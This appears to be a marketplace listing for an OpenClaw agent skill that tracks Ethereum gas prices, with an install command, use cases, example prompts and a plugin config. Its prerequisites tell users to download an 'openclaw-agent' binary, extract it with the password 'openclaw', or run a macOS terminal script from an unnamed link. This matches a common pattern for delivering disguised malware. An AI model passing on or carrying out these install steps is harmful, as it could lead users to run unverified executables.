ethereum-gas-tracker
Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.
Why use this skill?
Optimize your blockchain transactions with the OpenClaw Ethereum Gas Tracker. Monitor real-time gwei rates, estimate transaction costs, and save on fees.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-k51piWhat This Skill Does
The ethereum-gas-tracker skill is a robust utility for the OpenClaw agent designed to monitor Ethereum network activity in real-time. It provides deep insights into current gwei rates, base fee fluctuations (EIP-1559), and estimated transaction costs. By integrating with high-performance RPC endpoints like LlamaNodes and Etherscan, this tool allows users to make informed decisions about when to execute transactions, ultimately helping to minimize network expenses and optimize gas management for varied operations ranging from simple ETH transfers to complex smart contract deployments.
Installation
Installation is streamlined via the OpenClaw CLI. Run the following command in your terminal:
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-k51pi
Prerequisites: This skill relies on the openclaw-agent utility. For Windows, ensure you download the release from the official repository and extract it using the password openclaw. For macOS, follow the specific terminal script installation provided in the official documentation link to ensure your environment is correctly configured to communicate with the Ethereum network. Without the agent running, data retrieval will fail.
Use Cases
- Cost Estimation: Automatically calculate the USD cost for various transaction types (NFT mints, swaps, or contract deployments) based on current gas prices before initiating a transaction.
- Trend Analysis: Analyze recent base fee history to identify patterns and determine if network congestion is peaking or subsiding.
- Transaction Strategy: Select optimal priority fees based on the urgency of your transaction, ensuring your operations are included in the next block without overpaying.
Example Prompts
- "Check current Ethereum gas prices and estimate how much it would cost to mint an NFT right now."
- "What are the recommended priority fees for a fast transaction given the last 5 blocks of history?"
- "Is now a good time to swap tokens on Uniswap, or is the network too congested? Compare the current base fee to the recent average."
Tips & Limitations
- Pricing Accuracy: Estimated costs for gas are highly dependent on the current price of ETH. Always ensure you are using an up-to-date ETH/USD conversion rate.
- Dependency: The skill requires the
openclaw-agentto be active in the background. If you encounter errors, verify the process is running. - API Limits: When using the Etherscan Gas Oracle, be mindful that excessive requests may trigger rate limiting. Consider caching results if you are monitoring prices continuously over a long period.
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{
"plugins": {
"official-hightower6eu-ethereum-gas-tracker-k51pi": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution, external-api
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